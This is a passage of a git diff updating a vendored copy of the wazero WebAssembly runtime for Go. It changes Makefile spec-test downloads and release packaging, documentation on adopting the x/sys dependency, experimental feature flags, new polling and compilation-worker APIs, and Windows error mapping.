'https://api.github.com/repos/WebAssembly/spec/contents/test/core/exceptions?ref=$(spec_version_exception_handling)' \ + | jq -r '.[]| .download_url' | grep -E ".wast" | xargs -Iurl curl -sJL url -O + @cd $(spectest_exception_handling_testdata_dir) && for f in `find . -name '*.wast'`; do \ + wasm-tools json-from-wast --wasm-dir . -o $$(basename $$f .wast).json $$f || true; \ + done + +.PHONY: build.spectest.typed_function_references +build.spectest.typed_function_references: + @rm -rf $(spectest_typed_function_references_testdata_dir) + @mkdir -p $(spectest_typed_function_references_testdata_dir) + @cd $(spectest_typed_function_references_testdata_dir) \ + && for f in $(typed_function_references_wast_files); do \ + curl -sJL "https://raw.githubusercontent.com/WebAssembly/function-references/$(spec_version_typed_function_references)/test/core/$$f" -O; \ + done + @cd $(spectest_typed_function_references_testdata_dir) && for f in `find . -name '*.wast'`; do \ + wasm-tools json-from-wast --wasm-dir . -o $$(basename $$f .wast).json $$f || true; \ + done + .PHONY: test test: @go test $(go_test_options) ./... @@ -220,13 +287,10 @@ check: @GOARCH=wasm GOOS=wasip1 go build ./... # Ensure we build on aix. See #1723 @GOARCH=ppc64 GOOS=aix go build ./... -# Ensure we build on windows: - @GOARCH=amd64 GOOS=windows go build ./... -# Ensure we build on an arbitrary operating system: - @GOARCH=amd64 GOOS=dragonfly go build ./... -# Ensure we build on solaris/illumos: - @GOARCH=amd64 GOOS=illumos go build ./... - @GOARCH=amd64 GOOS=solaris go build ./... +# Ensure we build on linux s390x. See #2412 + @GOARCH=s390x GOOS=linux go build ./... +# Ensure we build on linux ppc64le. See #2412 + @GOARCH=ppc64le GOOS=linux go build ./... # Ensure we build on linux arm for Dapr: # gh release view -R dapr/dapr --json assets --jq 'first(.assets[] | select(.name = "daprd_linux_arm.tar.gz") | {url, downloadCount})' @GOARCH=arm GOOS=linux go build ./... @@ -274,22 +338,15 @@ libsodium: #### CLI release related #### VERSION ?= dev -# Default to a dummy version 0.0.1.1, which is always lower than a real release. -# Legal version values should look like 'x.x.x.x' where x is an integer from 0 to 65534. -# https://learn.microsoft.com/en-us/windows/win32/msi/productversion?redirectedfrom=MSDN -# https://stackoverflow.com/questions/9312221/msi-version-numbers -MSI_VERSION ?= 0.0.1.1 non_windows_platforms := darwin_amd64 darwin_arm64 linux_amd64 linux_arm64 non_windows_archives := $(non_windows_platforms:%=dist/wazero_$(VERSION)_%.tar.gz) windows_platforms := windows_amd64 # TODO: add arm64 windows once we start testing on it. -windows_archives := $(windows_platforms:%=dist/wazero_$(VERSION)_%.zip) $(windows_platforms:%=dist/wazero_$(VERSION)_%.msi) +windows_archives := $(windows_platforms:%=dist/wazero_$(VERSION)_%.zip) checksum_txt := dist/wazero_$(VERSION)_checksums.txt # define macros for multi-platform builds. these parse the filename being built go-arch = $(if $(findstring amd64,$1),amd64,arm64) go-os = $(if $(findstring .exe,$1),windows,$(if $(findstring linux,$1),linux,darwin)) -# msi-arch is a macro so we can detect it based on the file naming convention -msi-arch = $(if $(findstring amd64,$1),x64,arm64) build/wazero_%/wazero: $(call go-build,$@,$<) @@ -314,51 +371,15 @@ define go-build @echo build "ok" endef -# this makes a marker file ending in .signed to avoid repeatedly calling codesign -%.signed: % - $(call codesign,$<) - @touch $@ - -# This requires osslsigncode package (apt or brew) or latest windows release from mtrojnar/osslsigncode -# -# Default is self-signed while production should be a Digicert signing key -# -# Ex. -# ```bash -# keytool -genkey -alias wazero -storetype PKCS12 -keyalg RSA -keysize 2048 -storepass wazero-bunch \ -# -keystore wazero.p12 -dname "O=wazero,CN=wazero.io" -validity 3650 -# ``` -WINDOWS_CODESIGN_P12 ?= packaging/msi/wazero.p12 -WINDOWS_CODESIGN_PASSWORD ?= wazero-bunch -define codesign - @printf "$(ansi_format_dark)" codesign "signing $1" - @osslsigncode sign -h sha256 -pkcs12 ${WINDOWS_CODESIGN_P12} -pass "${WINDOWS_CODESIGN_PASSWORD}" \ - -n "wazero is the zero dependency WebAssembly runtime for Go developers" -i https://wazero.io -t http://timestamp.digicert.com \ - $(if $(findstring msi,$(1)),-add-msi-dse) -in $1 -out $1-signed - @mv $1-signed $1 - @printf "$(ansi_format_bright)" codesign "ok" -endef - -# This task is only supported on Windows, where we use candle.exe (compile wxs to wixobj) and light.exe (link to msi) -dist/wazero_$(VERSION)_%.msi: build/wazero_%/wazero.exe.signed -ifeq ($(OS),Windows_NT) - @echo msi "building $@" - @mkdir -p $(@D) - @candle -nologo -arch $(call msi-arch,$@) -dVersion=$(MSI_VERSION) -dBin=$(<:.signed=) -o build/wazero.wixobj packaging/msi/wazero.wxs - @light -nologo -o $@ build/wazero.wixobj -spdb - $(call codesign,$@) - @echo msi "ok" -endif - -dist/wazero_$(VERSION)_%.zip: build/wazero_%/wazero.exe.signed +dist/wazero_$(VERSION)_%.zip: build/wazero_%/wazero.exe @echo zip "zipping $@" @mkdir -p $(@D) - @zip -qj $@ $(<:.signed=) + @zip -qj $@ $< @echo zip "ok" # Darwin doesn't have sha256sum. See https://github.com/actions/virtual-environments/issues/90 sha256sum := $(if $(findstring darwin,$(shell go env GOOS)),shasum -a 256,sha256sum) -$(checksum_txt): - @cd $(@D); touch $(@F); $(sha256sum) * >> $(@F) +$(checksum_txt): $(non_windows_archives) $(windows_archives) + @cd $(@D); touch $(@F); $(sha256sum) * > $(@F) -dist: $(non_windows_archives) $(if $(findstring Windows_NT,$(OS)),$(windows_archives),) $(checksum_txt) +dist: $(non_windows_archives) $(windows_archives) $(checksum_txt) diff --git a/vendor/github.com/tetratelabs/wazero/RATIONALE.md b/vendor/github.com/tetratelabs/wazero/RATIONALE.md index 8d783cb4..32036639 100644 --- a/vendor/github.com/tetratelabs/wazero/RATIONALE.md +++ b/vendor/github.com/tetratelabs/wazero/RATIONALE.md @@ -7,24 +7,19 @@ have heavy impact usually due to CGO. By avoiding CGO, wazero avoids prerequisites such as shared libraries or libc, and lets users keep features like cross compilation. -Avoiding go.mod dependencies reduces interference on Go version support, and -size of a statically compiled binary. However, doing so brings some +Avoiding most `go.mod` dependencies reduces interference on Go version support, +and size of a statically compiled binary. However, doing so brings some responsibility into the project. -Go's native platform support is good: We don't need platform-specific code to +Go's native platform support is good: we don't need platform-specific code to get monotonic time, nor do we need much work to implement certain features needed by our compiler such as `mmap`. That said, Go does not support all -common operating systems to the same degree. For example, Go 1.18 includes -`Mprotect` on Linux and Darwin, but not FreeBSD. +common operating systems to the same degree. -The general tradeoff the project takes from a zero dependency policy is more +The general tradeoff the project takes from a strict dependency policy is more explicit support of platforms (in the compiler runtime), as well a larger and more technically difficult codebase. -At some point, we may allow extensions to supply their own platform-specific -hooks. Until then, one end user impact/tradeoff is some glitches trying -untested platforms (with the Compiler runtime). - ### Why do we use CGO to implement system calls on darwin? wazero is dependency and CGO free by design. In some cases, we have code that @@ -45,25 +40,20 @@ This plays to our advantage for system calls that aren't yet exposed in the Go standard library, notably `futimens` for nanosecond-precision timestamp manipulation. -### Why not x/sys - -Going beyond Go's SDK limitations can be accomplished with their [x/sys library](https://pkg.go.dev/golang.org/x/sys/unix). -For example, this includes `zsyscall_freebsd_amd64.go` missing from the Go SDK. +### Why x/sys -However, like all dependencies, x/sys is a source of conflict. For example, -x/sys had to be in order to upgrade to Go 1.18. +The [x/sys library](https://pkg.go.dev/golang.org/x/sys/unix) is currently +our only `go.mod` dependency. -If we depended on x/sys, we could get more precise functionality needed for -features such as clocks or more platform support for the compiler runtime. +That module is maintained by the Go authors, and covers OSes that the syscall +package neglects. -That said, formally supporting an operating system may still require testing as -even use of x/sys can require platform-specifics. For example, [mmap-go](https://github.com/edsrzf/mmap-go) -uses x/sys, but also mentions limitations, some not surmountable with x/sys -alone. +After [heavy consideration](https://github.com/wazero/wazero/issues/2434) we +decided to add it as a dependency. -Regardless, we may at some point introduce a separate go.mod for users to use -x/sys as a platform plugin without forcing all users to maintain that -dependency. +Using was shown to improve the experience of using wazero on older, +or less common, OSes without increasing the maintenance work, or creating +deployment issues for users of wazero. ## Project structure @@ -507,7 +497,7 @@ inserted after exit: https://github.com/emscripten-core/emscripten/issues/12322 ## WASI -Unfortunately, (WASI Snapshot Preview 1)[https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md] is not formally defined enough, and has APIs with ambiguous semantics. +Unfortunately, [WASI Snapshot Preview 1](https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md) is not formally defined enough, and has APIs with ambiguous semantics. This section describes how Wazero interprets and implements the semantics of several WASI APIs that may be interpreted differently by different wasm runtimes. Those APIs may affect the portability of a WASI application. @@ -756,7 +746,7 @@ value (possibly `PWD`). Those unable to control the compiled code should only use absolute paths in configuration. See -* https://github.com/golang/go/blob/go1.20/src/syscall/fs_js.go#L324 +* https://github.com/golang/go/blob/go1.24.0/src/syscall/fs_js.go#L341 * https://github.com/WebAssembly/wasi-libc/pull/214#issue-673090117 * https://github.com/ziglang/zig/blob/53a9ee699a35a3d245ab6d1dac1f0687a4dcb42c/src/main.zig#L32 @@ -1064,7 +1054,7 @@ reason, wazero adds overhead to synthesize dot entries despite it being unnecessary for most users. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html -See https://github.com/golang/go/blob/go1.20/src/os/dir_unix.go#L108-L110 +See https://github.com/golang/go/blob/go1.24.0/src/os/dir_unix.go#L122-L124 See https://github.com/bytecodealliance/preview2-prototyping/blob/e4c04bcfbd11c42c27c28984948d501a3e168121/crates/wasi-preview1-component-adapter/src/lib.rs#L1026-L1041 ### Why don't we pre-populate an inode for the dot-dot ("..") entry? @@ -1150,7 +1140,7 @@ See * https://linux.die.net/man/3/getdents * https://www.unix.com/man-page/osx/2/getdirentries/ * https://man.openbsd.org/OpenBSD-5.4/getdirentries.2 - * https://github.com/golang/go/blob/go1.20/src/syscall/dirent.go#L60-L102 + * https://github.com/golang/go/blob/go1.24.0/src/syscall/dirent.go#L57-L101 * https://go-review.googlesource.com/c/go/+/507915 ## sys.Walltime and Nanotime @@ -1201,7 +1191,7 @@ See https://go.googlesource.com/proposal/+/master/design/12914-monotonic.md WebAssembly time imports do not have the same concern. In fact even Go's imports for clocks split walltime from nanotime readings. -See https://github.com/golang/go/blob/go1.20/misc/wasm/wasm_exec.js#L243-L255 +See https://github.com/golang/go/blob/go1.24.0/lib/wasm/wasm_exec.js#L258-L268 Finally, Go's clock is not an interface. WebAssembly users who want determinism or security need to be able to substitute an alternative clock implementation @@ -1215,13 +1205,13 @@ value. For now, we return fixed values of 1us for realtime and 1ns for monotonic often lower precision than monotonic clocks. In the future, this could be improved by having OS+arch specific assembly to make syscalls. -For example, Go implements time.Now for linux-amd64 with this [assembly](https://github.com/golang/go/blob/go1.20/src/runtime/time_linux_amd64.s). +For example, Go implements time.Now for linux-amd64 with this [assembly](https://github.com/golang/go/blob/go1.24.0/src/runtime/time_linux_amd64.s). Because retrieving resolution is not generally called often, unlike getting time, it could be appropriate to only implement the fallback logic that does not use VDSO (executing syscalls in user mode). The syscall for clock_getres is 229 and should be usable. https://pkg.go.dev/syscall#pkg-constants. -If implementing similar for Windows, [mingw](https://github.com/mirror/mingw-w64/blob/6a0e9165008f731bccadfc41a59719cf7c8efc02/mingw-w64-libraries/winpthreads/src/clock.c#L77 -) is often a good source to find the Windows API calls that correspond +If implementing similar for Windows, [mingw](https://github.com/mirror/mingw-w64/blob/v12.0.0/mingw-w64-libraries/winpthreads/src/clock.c#L54) +is often a good source to find the Windows API calls that correspond to a POSIX method. Writing assembly would allow making syscalls without CGO, but comes with the cost that it will require implementations @@ -1490,7 +1480,7 @@ This is due to the same reason for the limitation on the number of functions abo While the the spec does not clarify a limitation of function stack values, wazero limits this to 2^27 = 134,217,728. The reason is that we internally represent all the values as 64-bit integers regardless of its types (including f32, f64), and 2^27 values means -1 GiB = (2^30). 1 GiB is the reasonable for most applications [as we see a Goroutine has 250 MB as a limit on the stack for 32-bit arch](https://github.com/golang/go/blob/go1.20/src/runtime/proc.go#L152-L159), considering that WebAssembly is (currently) 32-bit environment. +1 GiB = (2^30). 1 GiB is the reasonable for most applications [as we see a Goroutine has 250 MB as a limit on the stack for 32-bit arch](https://github.com/golang/go/blob/go1.24.0/src/runtime/proc.go#L154-L161), considering that WebAssembly is (currently) 32-bit environment. All the functions are statically analyzed at module instantiation phase, and if a function can potentially reach this limit, an error is returned. @@ -1523,8 +1513,8 @@ since it tries to interrupt the execution of Goroutine at any point of function, Fortunately, our runtime-generated machine codes do not need to take the async preemption into account. All the assembly codes are entered via the trampoline implemented as Go Assembler Function (e.g. [arch_amd64.s](./arch_amd64.s)), and as of Go 1.20, these assembler functions are considered as _unsafe_ for async preemption: -- https://github.com/golang/go/blob/go1.20rc1/src/runtime/preempt.go#L406-L407 -- https://github.com/golang/go/blob/9f0234214473dfb785a5ad84a8fc62a6a395cbc3/src/runtime/traceback.go#L227 +- https://github.com/golang/go/blob/go1.24.0/src/runtime/preempt.go#L407-L408 +- https://github.com/golang/go/blob/go1.24.0/src/runtime/traceback.go#L350 From the Go runtime point of view, the execution of runtime-generated machine codes is considered as a part of that trampoline function. Therefore, runtime-generated machine code is also correctly considered unsafe for async preemption. @@ -1582,6 +1572,6 @@ In lieu of formal documentation, we infer this pattern works from other sources * `sync.WaitGroup` by definition must support calling `Add` from other goroutines. Internally, it uses atomics. * rsc in golang/go#5045 writes "atomics guarantee sequential consistency among the atomic variables". -See https://github.com/golang/go/blob/go1.20/src/sync/waitgroup.go#L64 +See https://github.com/golang/go/blob/go1.24.0/src/sync/waitgroup.go#L76 See https://github.com/golang/go/issues/5045#issuecomment-252730563 See https://www.youtube.com/watch?v=VmrEG-3bWyM diff --git a/vendor/github.com/tetratelabs/wazero/README.md b/vendor/github.com/tetratelabs/wazero/README.md index e49fcb8a..a837e287 100644 --- a/vendor/github.com/tetratelabs/wazero/README.md +++ b/vendor/github.com/tetratelabs/wazero/README.md @@ -43,7 +43,7 @@ magnitude (10x) or more. This is done without host-specific dependencies. ### Conformance -Both runtimes pass WebAssembly Core [1.0][7] and [2.0][14] specification tests +Both runtimes pass WebAssembly Core [1.0][3] and [2.0][4] specification tests on supported platforms: | Runtime | Usage | amd64 | arm64 | others | @@ -58,7 +58,7 @@ wazero into their Go applications. ### wazero -wazero's [1.0 release][15] happened in March 2023, and is [in use][16] by many +wazero's [1.0 release][8] happened in March 2023, and is [in use][9] by many projects and production sites. We offer an API stability promise with semantic versioning. In other words, we @@ -72,23 +72,17 @@ You can get the latest version of wazero like this. go get github.com/tetratelabs/wazero@latest ``` -Please give us a [star][17] if you end up using wazero! +Please give us a [star][10] if you end up using wazero! ### Go -wazero has no dependencies except Go, so the only source of conflict in your -project's use of wazero is the Go version. +wazero has no dependencies except Go and [`x/sys`][12], so the only source of +conflict in your project's use of wazero is the Go version. -wazero follows the same version policy as Go's [Release Policy][10]: two +wazero follows the same version policy as Go's [Release Policy][5]: two versions. wazero will ensure these versions work and bugs are valid if there's an issue with a current Go version. -Additionally, wazero intentionally delays usage of language or standard library -features one additional version. For example, when Go 1.29 is released, wazero -can use language features or standard libraries added in 1.27. This is a -convenience for embedders who have a slower version policy than Go. However, -only supported Go versions may be used to raise support issues. - ### Platform wazero has two runtime modes: Interpreter and Compiler. The only supported operating @@ -96,18 +90,18 @@ systems are ones we test, but that doesn't necessarily mean other operating system versions won't work. We currently test Linux (Ubuntu and scratch), MacOS and Windows as packaged by -[GitHub Actions][11], as well as nested VMs running on Linux for FreeBSD, NetBSD, +[GitHub Actions][6], as well as nested VMs running on Linux for FreeBSD, NetBSD, OpenBSD, DragonFly BSD, illumos and Solaris. We also test cross compilation for many `GOOS` and `GOARCH` combinations. * Interpreter - * Linux is tested on amd64 (native) as well arm64 and riscv64 via emulation. + * Linux is tested on amd64, arm64 and riscv64. * Windows, FreeBSD, NetBSD, OpenBSD, DragonFly BSD, illumos and Solaris are tested only on amd64. * macOS is tested only on arm64. * Compiler - * Linux is tested on amd64 (native) as well arm64 via emulation. + * Linux is tested on amd64 and arm64. * Windows, FreeBSD, NetBSD, DragonFly BSD, illumos and Solaris are tested only on amd64. * macOS is tested only on arm64. @@ -116,24 +110,26 @@ wazero has no dependencies and doesn't require CGO. This means it can also be embedded in an application that doesn't use an operating system. This is a main differentiator between wazero and alternatives. -We verify zero dependencies by running tests in Docker's [scratch image][12]. +We verify zero dependencies by running tests in Docker's [scratch image][7]. This approach ensures compatibility with any parent image. +### macOS code-signing entitlements + +If you're developing for macOS and need to code-sign your application, +please read issue [#2393][11]. + ----- wazero is a registered trademark of Tetrate.io, Inc. in the United States and/or other countries [1]: https://www.w3.org/TR/2019/REC-wasm-core-1-20191205/ [2]: https://www.w3.org/TR/2022/WD-wasm-core-2-20220419/ -[4]: https://github.com/WebAssembly/meetings/blob/main/process/subgroups.md -[5]: https://github.com/WebAssembly/WASI -[6]: https://pkg.go.dev/golang.org/x/sys/unix -[7]: https://github.com/WebAssembly/spec/tree/wg-1.0/test/core -[9]: https://github.com/tetratelabs/wazero/issues/506 -[10]: https://go.dev/doc/devel/release -[11]: https://github.com/actions/virtual-environments -[12]: https://docs.docker.com/develop/develop-images/baseimages/#create-a-simple-parent-image-using-scratch -[13]: https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md -[14]: https://github.com/WebAssembly/spec/tree/d39195773112a22b245ffbe864bab6d1182ccb06/test/core -[15]: https://tetrate.io/blog/introducing-wazero-from-tetrate/ -[16]: https://wazero.io/community/users/ -[17]: https://github.com/tetratelabs/wazero/stargazers +[3]: https://github.com/WebAssembly/spec/tree/wg-1.0/test/core +[4]: https://github.com/WebAssembly/spec/tree/d39195773112a22b245ffbe864bab6d1182ccb06/test/core +[5]: https://go.dev/doc/devel/release +[6]: https://github.com/actions/virtual-environments +[7]: https://docs.docker.com/develop/develop-images/baseimages/#create-a-simple-parent-image-using-scratch +[8]: https://tetrate.io/blog/introducing-wazero-from-tetrate/ +[9]: https://wazero.io/community/users/ +[10]: https://github.com/wazero/wazero/stargazers +[11]: https://github.com/wazero/wazero/issues/2393 +[12]: https://pkg.go.dev/golang.org/x/sys \ No newline at end of file diff --git a/vendor/github.com/tetratelabs/wazero/api/features.go b/vendor/github.com/tetratelabs/wazero/api/features.go index c739d3bf..f4650216 100644 --- a/vendor/github.com/tetratelabs/wazero/api/features.go +++ b/vendor/github.com/tetratelabs/wazero/api/features.go @@ -209,6 +209,20 @@ func featureName(f CoreFeatures) string { case CoreFeatureSIMD: // match https://github.com/WebAssembly/spec/blob/wg-2.0.draft1/proposals/simd/SIMD.md return "simd" + // The cases below cover features defined in the experimental package + // (experimental.CoreFeaturesThreads, CoreFeaturesTailCall, + // experimental.CoreFeaturesExtendedConst, experimental.CoreFeaturesExceptionHandling). + // They cannot be imported here (circular dependency), so we match by value. + case CoreFeatureSIMD << 1: // experimental.CoreFeaturesThreads + return "threads" + case CoreFeatureSIMD << 2: // experimental.CoreFeaturesTailCall + return "tail-call" + case CoreFeatureSIMD << 3: // experimental.CoreFeaturesExtendedConst + return "extended-const" + case CoreFeatureSIMD << 4: // experimental.CoreFeaturesExceptionHandling + return "exception-handling" + case CoreFeatureSIMD << 5: // experimental.CoreFeaturesTypedFunctionReferences + return "typed-function-references" } return "" } diff --git a/vendor/github.com/tetratelabs/wazero/builder.go b/vendor/github.com/tetratelabs/wazero/builder.go index b60a9e09..231598cd 100644 --- a/vendor/github.com/tetratelabs/wazero/builder.go +++ b/vendor/github.com/tetratelabs/wazero/builder.go @@ -243,13 +243,13 @@ type hostFunctionBuilder struct { // WithGoFunction implements HostFunctionBuilder.WithGoFunction func (h *hostFunctionBuilder) WithGoFunction(fn api.GoFunction, params, results []api.ValueType) HostFunctionBuilder { - h.fn = &wasm.HostFunc{ParamTypes: params, ResultTypes: results, Code: wasm.Code{GoFunc: fn}} + h.fn = &wasm.HostFunc{ParamTypes: wasm.FromApiValueType(params), ResultTypes: wasm.FromApiValueType(results), Code: wasm.Code{GoFunc: fn}} return h } // WithGoModuleFunction implements HostFunctionBuilder.WithGoModuleFunction func (h *hostFunctionBuilder) WithGoModuleFunction(fn api.GoModuleFunction, params, results []api.ValueType) HostFunctionBuilder { - h.fn = &wasm.HostFunc{ParamTypes: params, ResultTypes: results, Code: wasm.Code{GoFunc: fn}} + h.fn = &wasm.HostFunc{ParamTypes: wasm.FromApiValueType(params), ResultTypes: wasm.FromApiValueType(results), Code: wasm.Code{GoFunc: fn}} return h } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/compilationworkers.go b/vendor/github.com/tetratelabs/wazero/experimental/compilationworkers.go new file mode 100644 index 00000000..bb76e01d --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/compilationworkers.go @@ -0,0 +1,19 @@ +package experimental + +import ( + "context" + + "github.com/tetratelabs/wazero/internal/expctxkeys" +) + +// WithCompilationWorkers sets the desired number of compilation workers. +func WithCompilationWorkers(ctx context.Context, workers int) context.Context { + return context.WithValue(ctx, expctxkeys.CompilationWorkers{}, workers) +} + +// GetCompilationWorkers returns the desired number of compilation workers. +// The minimum value returned is 1. +func GetCompilationWorkers(ctx context.Context) int { + workers, _ := ctx.Value(expctxkeys.CompilationWorkers{}).(int) + return max(workers, 1) +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/features.go b/vendor/github.com/tetratelabs/wazero/experimental/features.go index b2a5b906..9410c8b6 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/features.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/features.go @@ -13,3 +13,27 @@ import "github.com/tetratelabs/wazero/api" // binaries will use a theroetical maximum like 4GB, so if using such a binary on a system // without mmap, consider editing the binary to reduce the max size setting of memory. const CoreFeaturesThreads = api.CoreFeatureSIMD << 1 + +// CoreFeaturesTailCall enables tail call instructions ("tail-call"). +const CoreFeaturesTailCall = api.CoreFeatureSIMD << 2 + +// CoreFeaturesExtendedConst enables extended constant expressions. +// +// # Notes +// +// - Enables i32.add/sub/mul and i64.add/sub/mul in constant expressions. +// - Enables references to any previous global index in constant expressions, +// instead of just imported globals. +// +// See https://github.com/WebAssembly/extended-const for further details. +const CoreFeaturesExtendedConst = api.CoreFeatureSIMD << 3 + +// CoreFeaturesExceptionHandling enables exception handling instructions. +// +// See https://github.com/WebAssembly/exception-handling for further details. +const CoreFeaturesExceptionHandling = api.CoreFeatureSIMD << 4 + +// CoreFeaturesTypedFunctionReferences enables typed function references. +// +// See https://github.com/WebAssembly/function-references for further details. +const CoreFeaturesTypedFunctionReferences = api.CoreFeatureSIMD << 5 diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go index b6bfbcfe..603f8801 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go @@ -314,3 +314,43 @@ type File interface { // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html Close() Errno } + +// PollableFile is a File that additionally supports polling for readiness +// and non-blocking mode. This is separated from File to avoid breaking +// downstream implementations that do not need polling. +// +// Implementations should embed UnimplementedFile for forward compatibility +// of the base File methods, and add Poll, IsNonblock, and SetNonblock. +// +// # Notes +// +// - This is the public equivalent of the internal fsapi.File interface. +// - See Pollable for a standalone poll interface usable with io.Reader +// or fs.File implementations that are not full File implementations. +type PollableFile interface { + File + Pollable + + // IsNonblock returns true if the file was opened with O_NONBLOCK, or + // SetNonblock was successfully enabled on this file. + // + // # Notes + // + // - This might not match the underlying state of the file descriptor if + // the file was not opened via OpenFile. + IsNonblock() bool + + // SetNonblock toggles the non-blocking mode (O_NONBLOCK) of this file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.SetNonblock and `fcntl` with O_NONBLOCK in + // POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fcntl.html + SetNonblock(enable bool) Errno +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/poll.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/poll.go new file mode 100644 index 00000000..1ac20640 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/poll.go @@ -0,0 +1,48 @@ +package sys + +// Pflag are bit flags used for polling. Values, including zero, should not +// be interpreted numerically. Instead, use by constants prefixed with 'POLL'. +// +// # Notes +// +// - This is like `pollfd.events` flags for `poll` in POSIX. See +// https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/poll.h.html +type Pflag uint32 + +// Only define bitflags we support and are needed by `poll_oneoff` in wasip1 +// See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#eventrwflags +const ( + // POLLIN is a read event. + POLLIN Pflag = 1 << iota + + // POLLOUT is a write event. + POLLOUT +) + +// Pollable is implemented by custom readers that support polling for +// readiness. If a custom io.Reader passed to WithStdin implements this +// interface, poll_oneoff will use it for asynchronous I/O instead of +// returning "always ready". +// +// # Parameters +// +// The `flag` parameter determines which event to await, such as POLLIN, +// POLLOUT, or a combination like `POLLIN|POLLOUT`. +// +// The `timeoutMillis` parameter is how long to block for an event, or +// interrupted, in milliseconds. There are two special values: +// - zero returns immediately +// - any negative value blocks any amount of time +// +// # Results +// +// `ready` means there was data ready to read or written. False can mean no +// event was ready or `errno` is not zero. +// +// A zero `errno` is success. The below are expected otherwise: +// - ENOSYS: the implementation does not support this function. +// - ENOTSUP: the implementation does not support the flag combination. +// - EINTR: the call was interrupted prior to an event. +type Pollable interface { + Poll(flag Pflag, timeoutMillis int32) (ready bool, errno Errno) +} diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go index ea511ec2..86808cc7 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go @@ -1,4 +1,4 @@ -//go:build !plan9 && !aix +//go:build !(plan9 || aix) package sys diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go index 5ebc1780..8d948668 100644 --- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go @@ -1,61 +1,32 @@ package sys -import "syscall" - -// These are errors not defined in the syscall package. They are prefixed with -// underscore to avoid exporting them. -// -// See https://learn.microsoft.com/en-us/windows/win32/debug/system-error-codes--0-499- -const ( - // _ERROR_INVALID_HANDLE is a Windows error returned by syscall.Write - // instead of syscall.EBADF - _ERROR_INVALID_HANDLE = syscall.Errno(6) - - // _ERROR_INVALID_NAME is a Windows error returned by open when a file - // path has a trailing slash - _ERROR_INVALID_NAME = syscall.Errno(0x7B) - - // _ERROR_NEGATIVE_SEEK is a Windows error returned by os.Truncate - // instead of syscall.EINVAL - _ERROR_NEGATIVE_SEEK = syscall.Errno(0x83) - - // _ERROR_DIRECTORY is a Windows error returned by syscall.Rmdir - // instead of syscall.ENOTDIR - _ERROR_DIRECTORY = syscall.Errno(0x10B) - - // _ERROR_NOT_A_REPARSE_POINT is a Windows error returned by os.Readlink - // instead of syscall.EINVAL - _ERROR_NOT_A_REPARSE_POINT = syscall.Errno(0x1126) - - // _ERROR_INVALID_SOCKET is a Windows error returned by winsock_select - // when a given handle is not a socket. - _ERROR_INVALID_SOCKET = syscall.Errno(0x2736) -) +import "golang.org/x/sys/windows" func errorToErrno(err error) Errno { switch err := err.(type) { case Errno: return err - case syscall.Errno: + case windows.Errno: // Note: In windows, _ERROR_PATH_NOT_FOUND(0x3) maps to syscall.ENOTDIR switch err { - case syscall.ERROR_ALREADY_EXISTS: + case windows.ERROR_ALREADY_EXISTS, windows.ERROR_FILE_EXISTS: return EEXIST - case _ERROR_DIRECTORY: + case windows.ERROR_DIRECTORY: + // ERROR_DIRECTORY is returned by syscall.Rmdir. return ENOTDIR - case syscall.ERROR_DIR_NOT_EMPTY: + case windows.ERROR_DIR_NOT_EMPTY: return ENOTEMPTY - case syscall.ERROR_FILE_EXISTS: - return EEXIST - case _ERROR_INVALID_HANDLE, _ERROR_INVALID_SOCKET: - return EBADF - case syscall.ERROR_ACCESS_DENIED: + case windows.ERROR_INVALID_HANDLE, windows.WSAENOTSOCK, windows.ERROR_ACCESS_DENIED: + // WSAENOTSOCK is returned by winsock_select when a given handle is not a socket. // POSIX read and write functions expect EBADF, not EACCES when not // open for reading or writing. return EBADF - case syscall.ERROR_PRIVILEGE_NOT_HELD: + case windows.ERROR_PRIVILEGE_NOT_HELD: return EPERM - case _ERROR_NEGATIVE_SEEK, _ERROR_INVALID_NAME, _ERROR_NOT_A_REPARSE_POINT: + case windows.ERROR_NEGATIVE_SEEK, windows.ERROR_NOT_A_REPARSE_POINT, windows.ERROR_INVALID_NAME: + // ERROR_NEGATIVE_SEEK is returned by os.Truncate. + // ERROR_NOT_A_REPARSE_POINT is returned by os.Readlink. + // ERROR_INVALID_NAME is returned by open when a file path has a trailing slash. return EINVAL } errno, _ := syscallToErrno(err) diff --git a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/args.go b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/args.go index 4c82e95e..cd261843 100644 --- a/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/args.go +++ b/vendor/github.com/tetratelabs/wazero/imports/wasi_snapshot_preview1/args.go @@ -41,7 +41,7 @@ import ( // See argsSizesGet // See https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#args_get // See 